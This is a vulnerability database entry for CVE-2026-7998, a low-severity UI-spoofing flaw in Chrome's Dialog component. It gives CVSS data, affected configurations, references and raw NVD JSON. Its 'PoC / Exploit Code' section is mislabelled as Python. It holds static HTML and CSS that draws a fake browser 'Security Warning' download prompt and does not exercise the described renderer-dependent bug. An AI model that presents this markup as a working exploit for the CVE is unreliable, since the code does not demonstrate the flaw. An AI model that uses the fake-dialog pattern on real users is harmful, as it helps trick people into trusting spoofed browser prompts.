CVE-2026-7998

Description

Insufficient validation of untrusted input in Dialog in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: UI Spoofing in Dialog -->
<!-- This demonstrates how a crafted page can mimic a trusted dialog -->
<html>
<head>
<style>
  body { font-family: sans-serif; background-color: #f1f3f4; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
  .spoof-dialog {
    width: 400px;
    background: white;
    border-radius: 8px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
    padding: 24px;
    position: relative;
    z-index: 9999;
  }
  .dialog-header { font-size: 18px; font-weight: 500; margin-bottom: 12px; display: flex; align-items: center; }
  .icon { width: 24px; height: 24px; margin-right: 12px; background-color: #ffcc00; border-radius: 50%; }
  .dialog-body { font-size: 14px; color: #5f6368; margin-bottom: 24px; line-height: 1.5; }
  .dialog-actions { display: flex; justify-content: flex-end; gap: 8px; }
  button { padding: 8px 16px; border-radius: 4px; border: none; cursor: pointer; font-weight: 500; font-size: 14px; }
  .btn-cancel { background: transparent; color: #1a73e8; }
  .btn-allow { background: #1a73e8; color: white; }
</style>
</head>
<body>
  <div class="spoof-dialog">
    <div class="dialog-header">
      <div class="icon"></div>
      <div>Security Warning</div>
    </div>
    <div class="dialog-body">
      This site is trying to download multiple files. Do you want to allow this?
    </div>
    <div class="dialog-actions">
      <button class="btn-cancel">Block</button>
      <button class="btn-allow">Allow</button>
    </div>
  </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7998
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7998
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7998/
[4] VulDB https://vuldb.com/cve/CVE-2026-7998
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/491676472

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7998", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:50.720", "lastModified": "2026-05-07T13:40:01.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Dialog in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/491676472", "source": "[email protected]", "tags": ["Permissions Required"]}]}}